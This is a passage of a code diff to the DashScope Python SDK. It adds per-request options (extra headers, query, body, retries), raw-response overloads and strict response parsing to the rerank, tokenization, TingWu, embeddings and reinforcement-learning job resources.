Optional[Dict[str, Any]] = None, + extra_input: Optional[Dict[str, Any]] = None, timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, - ) -> Union[ChatCompletion, AsyncChatStream]: + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[ChatCompletion, AsyncChatStream, "APIResponse"]: + """Run one multimodal-generation chat call. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + before any error check, so a caller can read the status, headers and + ``elapsed`` of the response or re-parse it itself. It is only + available with ``stream=False``: a streaming response body is never + materialized, so there is nothing to hand back. Combining the two + raises ``ValueError``. + """ # The upload path is blocking (file post + getPolicy), so the whole # request build runs in a worker thread -- over a transport bridged # back to this loop, which is what lets it serve the policy fetch. @@ -317,6 +472,7 @@ async def create( parallel_tool_calls=parallel_tool_calls, incremental_output=incremental_output, parameters=parameters, + extra_input=extra_input, api_key=api_key, workspace=workspace, ) @@ -331,4 +487,11 @@ async def create( api_key=api_key, workspace=workspace, timeout=timeout, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), + raw=raw, ) diff --git a/dashscope/resources/multimodal/embeddings.py b/dashscope/resources/multimodal/embeddings.py index aee7379d..ca6bc6df 100644 --- a/dashscope/resources/multimodal/embeddings.py +++ b/dashscope/resources/multimodal/embeddings.py @@ -7,7 +7,7 @@ from __future__ import annotations -from typing import Any, Dict, List, Optional, Union +from typing import Any, Dict, List, Mapping, Optional, Union from pydantic import BaseModel, ConfigDict @@ -18,6 +18,7 @@ EmbeddingResponse, parse_embedding_response, ) +from dashscope.transport._options import request_options from dashscope.types.common import with_headers __all__ = [ @@ -135,6 +136,10 @@ def create( # pylint: disable=too-many-arguments timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, ) -> EmbeddingResponse: """Embed one item, or a list of them, into one vector space. @@ -175,10 +180,20 @@ def create( # pylint: disable=too-many-arguments timeout=timeout, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), ) check_response(response, raise_on_error=self._client.raise_on_error) return with_headers( - parse_embedding_response(response_json(response)), + parse_embedding_response( + response_json(response), + strict=self._client.config.strict_validation, + response=response, + ), response, ) @@ -203,6 +218,10 @@ async def create( # pylint: disable=too-many-arguments timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, ) -> EmbeddingResponse: contents = _contents(input) # The upload path is blocking (file post + getPolicy), so it runs in @@ -237,9 +256,19 @@ async def create( # pylint: disable=too-many-arguments timeout=timeout, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), ) check_response(response, raise_on_error=self._client.raise_on_error) return with_headers( - parse_embedding_response(response_json(response)), + parse_embedding_response( + response_json(response), + strict=self._client.config.strict_validation, + response=response, + ), response, ) diff --git a/dashscope/resources/reinforcement_learning.py b/dashscope/resources/reinforcement_learning.py index 35d9f3fd..8a3271c8 100644 --- a/dashscope/resources/reinforcement_learning.py +++ b/dashscope/resources/reinforcement_learning.py @@ -33,7 +33,16 @@ import asyncio import time -from typing import Any, Awaitable, Callable, Dict, List, Optional, Union +from typing import ( + Any, + Awaitable, + Callable, + Dict, + List, + Mapping, + Optional, + Union, +) from pydantic import BaseModel, ConfigDict @@ -62,6 +71,8 @@ _parse_logs, _parse_status, ) +from dashscope.transport._options import request_options +from dashscope.types._parse import parse_model from dashscope.types.common import JobStatus, with_headers __all__ = [ @@ -132,12 +143,17 @@ def _new_agentic_rl( return rl -def _to_job(result: Any) -> FineTune: +def _to_job(result: Any, *, strict: bool = False) -> FineTune: """Adapt the RL submit result into the v2 job model. The submit returns ``output`` as a nested object and spells the timestamps ``create_time`` / ``end_time``; the v2 model's aliases absorb both once the envelope is flattened by hand here. + + Takes ``strict`` but deliberately no ``response``: the workflow core + hands back a result object, not an ``httpx.Response``, so there is + nothing to attach. Strictness is a client contract rather than a + transport artifact, which is why it still travels. """ body: Dict[str, Any] = { "request_id": getattr(result, "request_id", None), @@ -148,7 +164,7 @@ def _to_job(result: Any) -> FineTune: output = getattr(result, "output", None) if output is not None: body.update(vars(output)) - return FineTune(**body) + return parse_model(FineTune, body, strict=strict) def _check_terminal(client, job: FineTune, job_id: str) -> FineTune: @@ -246,7 +262,10 @@ def create( kwargs["job_name"] = job_name rl.init(config_path=config_path, **kwargs) result = asyncio.run(rl.run()) - return _to_job(result) + return _to_job( + result, + strict=self._client.config.strict_validation, + ) def fetch( self, @@ -255,6 +274,10 @@ def fetch( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, ) -> FineTune: response = self._client.transport.request( "GET", @@ -263,9 +286,22 @@ def fetch( timeout=timeout, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), ) check_response(response, raise_on_error=self._client.raise_on_error) - return with_headers(_parse_job(response_json(response)), response) + return with_headers( + _parse_job( + response_json(response), + strict=self._client.config.strict_validation, + response=response, + ), + response, + ) def wait( self, @@ -276,6 +312,10 @@ def wait( timeout: float = DEFAULT_WAIT_TIMEOUT, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, _sleep: Optional[Callable[[float], Any]] = None, ) -> FineTune: """Poll until the job reaches a terminal status. @@ -291,7 +331,15 @@ def wait( current = ( job if isinstance(job, FineTune) - else self.fetch(job_id, api_key=api_key, workspace=workspace) + else self.fetch( + job_id, + api_key=api_key, + workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, + ) ) interval = poll_interval while not current.finished: @@ -308,7 +356,15 @@ def wait( ) sleep_fn(min(interval, remaining)) interval = min(interval * 2, max_interval) - current = self.fetch(job_id, api_key=api_key, workspace=workspace) + current = self.fetch( + job_id, + api_key=api_key, + workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, + ) return _check_terminal(self._client, current, job_id) def list( @@ -319,6 +375,10 @@ def list( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, ) -> FineTuneList: response = self._client.transport.request( "GET", @@ -328,9 +388,22 @@ def list( timeout=timeout, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), ) check_response(response, raise_on_error=self._client.raise_on_error) - return with_headers(_parse_list(response_json(response)), response) + return with_headers( + _parse_list( + response_json(response), + strict=self._client.config.strict_validation, + response=response, + ), + response, + ) def cancel( self, @@ -339,6 +412,10 @@ def cancel( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, ) -> JobStatus: response = self._client.transport.request( "POST", @@ -347,9 +424,22 @@ def cancel( timeout=timeout, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), ) check_response(response, raise_on_error=self._client.raise_on_error) - return with_headers(_parse_status(response_json(response)), response) + return with_headers( + _parse_status( + response_json(response), + strict=self._client.config.strict_validation, + response=response, + ), + response, + ) def delete( self, @@ -358,6 +448,10 @@ def delete( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, ) -> JobStatus: response = self._client.transport.request( "DELETE", @@ -366,9 +460,22 @@ def delete( timeout=timeout, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), ) check_response(response, raise_on_error=self._client.raise_on_error) - return with_headers(_parse_status(response_json(response)), response) + return with_headers( + _parse_status( + response_json(response), + strict=self._client.config.strict_validation, + response=response, + ), + response, + ) def logs( self, @@ -379,6 +486,10 @@ def logs( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, ) -> JobLogs: response = self._client.transport.request( "GET", @@ -389,10 +500,21 @@ def logs( timeout=timeout, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), ) check_response(response, raise_on_error=self._client.raise_on_error) return with_headers( - _parse_logs(job_id, response_json(response)), + _parse_logs( + job_id, + response_json(response), + strict=self._client.config.strict_validation, + response=response, + ), response, ) @@ -580,7 +702,10 @@ async def create( kwargs["job_name"] = job_name rl.init(config_path=config_path, **kwargs) result = await rl.run() - return _to_job(result) + return _to_job( + result, + strict=self._client.config.strict_validation, + ) async def fetch( self, @@ -589,6 +714,10 @@ async def fetch( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, ) -> FineTune: response = await self._client.transport.request( "GET", @@ -597,9 +726,22 @@ async def fetch( timeout=timeout, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), ) check_response(response, raise_on_error=self._client.raise_on_error) - return with_headers(_parse_job(response_json(response)), response) + return with_headers( + _parse_job( + response_json(response), + strict=self._client.config.strict_validation, + response=response, + ), + response, + ) async def wait( self, @@ -610,6 +752,10 @@ async def wait( timeout: float = DEFAULT_WAIT_TIMEOUT, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, _sleep: Optional[Callable[[float], Awaitable[None]]] = None, ) -> FineTune: """Poll until the job reaches a terminal status. @@ -625,7 +771,15 @@ async def wait( current = ( job if isinstance(job, FineTune) - else await self.fetch(job_id, api_key=api_key, workspace=workspace) + else await self.fetch( + job_id, + api_key=api_key, + workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, + ) ) interval = poll_interval while not current.finished: @@ -646,6 +800,10 @@ async def wait( job_id, api_key=api_key, workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, ) return _check_terminal(self._client, current, job_id) @@ -657,6 +815,10 @@ async def list( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, ) -> FineTuneList: response = await self._client.transport.request( "GET", @@ -666,9 +828,22 @@ async def list( timeout=timeout, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), ) check_response(response, raise_on_error=self._client.raise_on_error) - return with_headers(_parse_list(response_json(response)), response) + return with_headers( + _parse_list( + response_json(response), + strict=self._client.config.strict_validation, + response=response, + ), + response, + ) async def cancel( self, @@ -677,6 +852,10 @@ async def cancel( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, ) -> JobStatus: response = await self._client.transport.request( "POST", @@ -685,9 +864,22 @@ async def cancel( timeout=timeout, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), ) check_response(response, raise_on_error=self._client.raise_on_error) - return with_headers(_parse_status(response_json(response)), response) + return with_headers( + _parse_status( + response_json(response), + strict=self._client.config.strict_validation, + response=response, + ), + response, + ) async def delete( self, @@ -696,6 +888,10 @@ async def delete( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, ) -> JobStatus: response = await self._client.transport.request( "DELETE", @@ -704,9 +900,22 @@ async def delete( timeout=timeout, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), ) check_response(response, raise_on_error=self._client.raise_on_error) - return with_headers(_parse_status(response_json(response)), response) + return with_headers( + _parse_status( + response_json(response), + strict=self._client.config.strict_validation, + response=response, + ), + response, + ) async def logs( self, @@ -717,6 +926,10 @@ async def logs( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, ) -> JobLogs: response = await self._client.transport.request( "GET", @@ -727,10 +940,21 @@ async def logs( timeout=timeout, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), ) check_response(response, raise_on_error=self._client.raise_on_error) return with_headers( - _parse_logs(job_id, response_json(response)), + _parse_logs( + job_id, + response_json(response), + strict=self._client.config.strict_validation, + response=response, + ), response, ) diff --git a/dashscope/resources/rerank.py b/dashscope/resources/rerank.py index 8e4c5936..e01b4b85 100644 --- a/dashscope/resources/rerank.py +++ b/dashscope/resources/rerank.py @@ -4,11 +4,22 @@ from __future__ import annotations -from typing import Any, Dict, List, Optional +from typing import ( + TYPE_CHECKING, + Any, + Dict, + List, + Literal, + Mapping, + Optional, + Union, + overload, +) from pydantic import BaseModel, ConfigDict -from dashscope.errors import check_response, response_json +from dashscope.transport._options import request_options +from dashscope.types._parse import parse_model from dashscope.types.common import ( ResponseBase, Usage, @@ -16,6 +27,11 @@ with_headers, ) +if TYPE_CHECKING: + import httpx + + from dashscope.transport._response import APIResponse + _PATH = "/services/rerank/text-rerank/text-rerank" # Functional-area tag for x-dashscope-sdk-client (matches 1.x ``rerank``). MODULE = "rerank" @@ -48,12 +64,26 @@ class RerankResponse(ResponseBase): usage: Optional[Usage] = None -def _parse(body: Dict[str, Any]) -> RerankResponse: - output = body.get("output") or {} - return RerankResponse( - results=output.get("results") or [], - usage=body.get("usage"), - **response_envelope(body), +def _parse( + body: Dict[str, Any], + *, + strict: bool = False, + response: Optional["httpx.Response"] = None, +) -> RerankResponse: + output = body.get("output") + if not isinstance(output, dict): + # ``output`` drifted to a scalar; ``.get`` on it would escape as a + # bare AttributeError before parse_model ever saw the body. + output = {} + return parse_model( + RerankResponse, + { + "results": output.get("results") or [], + "usage": body.get("usage"), + **response_envelope(body), + }, + strict=strict, + response=response, ) @@ -92,6 +122,7 @@ class Rerank: def __init__(self, client) -> None: self._client = client + @overload def create( self, *, @@ -105,7 +136,61 @@ def create( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> RerankResponse: + ... + + @overload + def create( + self, + *, + model: str, + query: str, + documents: List[str], + top_n: Optional[int] = None, + return_documents: Optional[bool] = None, + instruct: Optional[str] = None, + parameters: Optional[Dict[str, Any]] = None, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + def create( + self, + *, + model: str, + query: str, + documents: List[str], + top_n: Optional[int] = None, + return_documents: Optional[bool] = None, + instruct: Optional[str] = None, + parameters: Optional[Dict[str, Any]] = None, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[RerankResponse, "APIResponse"]: + """Rerank ``documents`` against ``query``. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + before any error check, so a caller can read the status, headers and + ``elapsed`` of the response or re-parse it itself. + """ body = _build_body( model=model, query=query, @@ -115,7 +200,7 @@ def create( instruct=instruct, parameters=parameters, ) - response = self._client.transport.request( + resp = self._client.transport.request_api( "POST", _PATH, json=body, @@ -123,15 +208,32 @@ def create( api_key=api_key, workspace=workspace, sdk_module=MODULE, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), + client=self._client, + ) + if raw: + return resp + resp.raise_for_status() + return with_headers( + _parse( + resp.json(), + strict=self._client.config.strict_validation, + response=resp.http_response, + ), + resp.http_response, ) - check_response(response, raise_on_error=self._client.raise_on_error) - return with_headers(_parse(response_json(response)), response) class AsyncRerank: def __init__(self, client) -> None: self._client = client + @overload async def create( self, *, @@ -145,7 +247,61 @@ async def create( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> RerankResponse: + ... + + @overload + async def create( + self, + *, + model: str, + query: str, + documents: List[str], + top_n: Optional[int] = None, + return_documents: Optional[bool] = None, + instruct: Optional[str] = None, + parameters: Optional[Dict[str, Any]] = None, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + async def create( + self, + *, + model: str, + query: str, + documents: List[str], + top_n: Optional[int] = None, + return_documents: Optional[bool] = None, + instruct: Optional[str] = None, + parameters: Optional[Dict[str, Any]] = None, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[RerankResponse, "APIResponse"]: + """Rerank ``documents`` against ``query``. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + before any error check, so a caller can read the status, headers and + ``elapsed`` of the response or re-parse it itself. + """ body = _build_body( model=model, query=query, @@ -155,7 +311,7 @@ async def create( instruct=instruct, parameters=parameters, ) - response = await self._client.transport.request( + resp = await self._client.transport.request_api( "POST", _PATH, json=body, @@ -163,6 +319,22 @@ async def create( api_key=api_key, workspace=workspace, sdk_module=MODULE, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), + client=self._client, + ) + if raw: + return resp + resp.raise_for_status() + return with_headers( + _parse( + resp.json(), + strict=self._client.config.strict_validation, + response=resp.http_response, + ), + resp.http_response, ) - check_response(response, raise_on_error=self._client.raise_on_error) - return with_headers(_parse(response_json(response)), response) diff --git a/dashscope/resources/tingwu.py b/dashscope/resources/tingwu.py index c8f8bff3..4a0cdb1d 100644 --- a/dashscope/resources/tingwu.py +++ b/dashscope/resources/tingwu.py @@ -13,21 +13,29 @@ from __future__ import annotations -from typing import Any, Dict, Iterator, Optional, Union +from typing import ( + TYPE_CHECKING, + Any, + Dict, + Iterator, + Literal, + Mapping, + Optional, + Union, + overload, +) from pydantic import ConfigDict, Field -from dashscope.errors import ( - check_response, - error_from_business_code, - response_json, -) +from dashscope.errors import error_from_business_code +from dashscope.transport._options import request_options from dashscope.transport.ws import ( Connector, WsSession, with_client_user_agent, ) from dashscope.transport.ws_connection import WsConnection, WsTask +from dashscope.types._parse import parse_model from dashscope.types.common import ( ResponseBase, Usage, @@ -35,6 +43,11 @@ with_headers, ) +if TYPE_CHECKING: + import httpx + + from dashscope.transport._response import APIResponse + __all__ = [ "AsyncTingWu", "TingWu", @@ -60,6 +73,30 @@ class TingWuResult(ResponseBase): usage: Optional[Usage] = None +def _parse_result( + envelope: Dict[str, Any], + *, + strict: bool = False, + response: Optional["httpx.Response"] = None, +) -> TingWuResult: + """Build a ``TingWuResult`` from the raw wire envelope. + + Shared by the sync and async ``call`` so the two cannot drift apart + in how they read ``output`` / ``usage``. + """ + data = response_envelope(envelope) + output = envelope.get("output") + data["output"] = output if isinstance(output, dict) else {} + if envelope.get("usage") is not None: + data["usage"] = envelope["usage"] + return parse_model( + TingWuResult, + data, + strict=strict, + response=response, + ) + + def _realtime_start_input( app_id: str, workspace_id: Optional[str], @@ -230,6 +267,7 @@ class TingWu: def __init__(self, client) -> None: self._client = client + @overload def call( self, *, @@ -239,12 +277,57 @@ def call( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> TingWuResult: - """Run one offline TingWu request (1.x ``TingWu.call``).""" + ... + + @overload + def call( + self, + *, + model: str, + input: Dict[str, Any], + parameters: Optional[Dict[str, Any]] = None, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + def call( + self, + *, + model: str, + input: Dict[str, Any], + parameters: Optional[Dict[str, Any]] = None, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[TingWuResult, "APIResponse"]: + """Run one offline TingWu request (1.x ``TingWu.call``). + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + before any error check, so a caller can read the status, headers and + ``elapsed`` of the response or re-parse it itself. + """ body: Dict[str, Any] = {"model": model, "input": dict(input)} if parameters: body["parameters"] = dict(parameters) - response = self._client.transport.request( + resp = self._client.transport.request_api( "POST", f"/services/{SERVICE}", json=body, @@ -252,15 +335,25 @@ def call( api_key=api_key, workspace=workspace, sdk_module=MODULE, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), + client=self._client, + ) + if raw: + return resp + resp.raise_for_status() + return with_headers( + _parse_result( + resp.json(), + strict=self._client.config.strict_validation, + response=resp.http_response, + ), + resp.http_response, ) - check_response(response, raise_on_error=self._client.raise_on_error) - envelope = response_json(response) - data = response_envelope(envelope) - output = envelope.get("output") - data["output"] = output if isinstance(output, dict) else {} - if envelope.get("usage") is not None: - data["usage"] = envelope["usage"] - return with_headers(TingWuResult.model_validate(data), response) def realtime( self, @@ -316,6 +409,7 @@ class AsyncTingWu: def __init__(self, client) -> None: self._client = client + @overload async def call( self, *, @@ -325,12 +419,57 @@ async def call( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> TingWuResult: - """Run one offline TingWu request (1.x ``TingWu.async_call``).""" + ... + + @overload + async def call( + self, + *, + model: str, + input: Dict[str, Any], + parameters: Optional[Dict[str, Any]] = None, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + async def call( + self, + *, + model: str, + input: Dict[str, Any], + parameters: Optional[Dict[str, Any]] = None, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[TingWuResult, "APIResponse"]: + """Run one offline TingWu request (1.x ``TingWu.async_call``). + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + before any error check, so a caller can read the status, headers and + ``elapsed`` of the response or re-parse it itself. + """ body: Dict[str, Any] = {"model": model, "input": dict(input)} if parameters: body["parameters"] = dict(parameters) - response = await self._client.transport.request( + resp = await self._client.transport.request_api( "POST", f"/services/{SERVICE}", json=body, @@ -338,12 +477,22 @@ async def call( api_key=api_key, workspace=workspace, sdk_module=MODULE, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), + client=self._client, + ) + if raw: + return resp + resp.raise_for_status() + return with_headers( + _parse_result( + resp.json(), + strict=self._client.config.strict_validation, + response=resp.http_response, + ), + resp.http_response, ) - check_response(response, raise_on_error=self._client.raise_on_error) - envelope = response_json(response) - data = response_envelope(envelope) - output = envelope.get("output") - data["output"] = output if isinstance(output, dict) else {} - if envelope.get("usage") is not None: - data["usage"] = envelope["usage"] - return with_headers(TingWuResult.model_validate(data), response) diff --git a/dashscope/resources/tokenization.py b/dashscope/resources/tokenization.py index 62e609ad..f0aeb399 100644 --- a/dashscope/resources/tokenization.py +++ b/dashscope/resources/tokenization.py @@ -4,9 +4,20 @@ from __future__ import annotations -from typing import Any, Dict, List, Optional, Union +from typing import ( + TYPE_CHECKING, + Any, + Dict, + List, + Literal, + Mapping, + Optional, + Union, + overload, +) -from dashscope.errors import check_response, response_json +from dashscope.transport._options import request_options +from dashscope.types._parse import parse_model from dashscope.types.common import ( ResponseBase, Usage, @@ -15,6 +26,11 @@ ) from dashscope.types.messages import MessageInput, normalize_messages +if TYPE_CHECKING: + import httpx + + from dashscope.transport._response import APIResponse + _PATH = "/tokenizer" # Functional-area tag for x-dashscope-sdk-client (matches 1.x ``tokenizers``). MODULE = "tokenizers" @@ -37,13 +53,27 @@ def input_tokens(self) -> int: return self.usage.input_tokens -def _parse(body: Dict[str, Any]) -> TokenCount: - output = body.get("output") or {} - return TokenCount( - usage=body.get("usage") or {}, - token_ids=output.get("token_ids"), - tokens=output.get("tokens"), - **response_envelope(body), +def _parse( + body: Dict[str, Any], + *, + strict: bool = False, + response: Optional["httpx.Response"] = None, +) -> TokenCount: + output = body.get("output") + if not isinstance(output, dict): + # ``output`` drifted to a scalar; ``.get`` on it would escape as a + # bare AttributeError before parse_model ever saw the body. + output = {} + return parse_model( + TokenCount, + { + "usage": body.get("usage") or {}, + "token_ids": output.get("token_ids"), + "tokens": output.get("tokens"), + **response_envelope(body), + }, + strict=strict, + response=response, ) @@ -78,6 +108,7 @@ class Tokenization: def __init__(self, client) -> None: self._client = client + @overload def count( self, *, @@ -88,14 +119,62 @@ def count( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> TokenCount: + ... + + @overload + def count( + self, + *, + model: str, + prompt: Optional[str] = None, + messages: Union[str, List[MessageInput], None] = None, + parameters: Optional[Dict[str, Any]] = None, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + def count( + self, + *, + model: str, + prompt: Optional[str] = None, + messages: Union[str, List[MessageInput], None] = None, + parameters: Optional[Dict[str, Any]] = None, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[TokenCount, "APIResponse"]: + """Count tokens for ``prompt`` / ``messages``. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + before any error check, so a caller can read the status, headers and + ``elapsed`` of the response or re-parse it 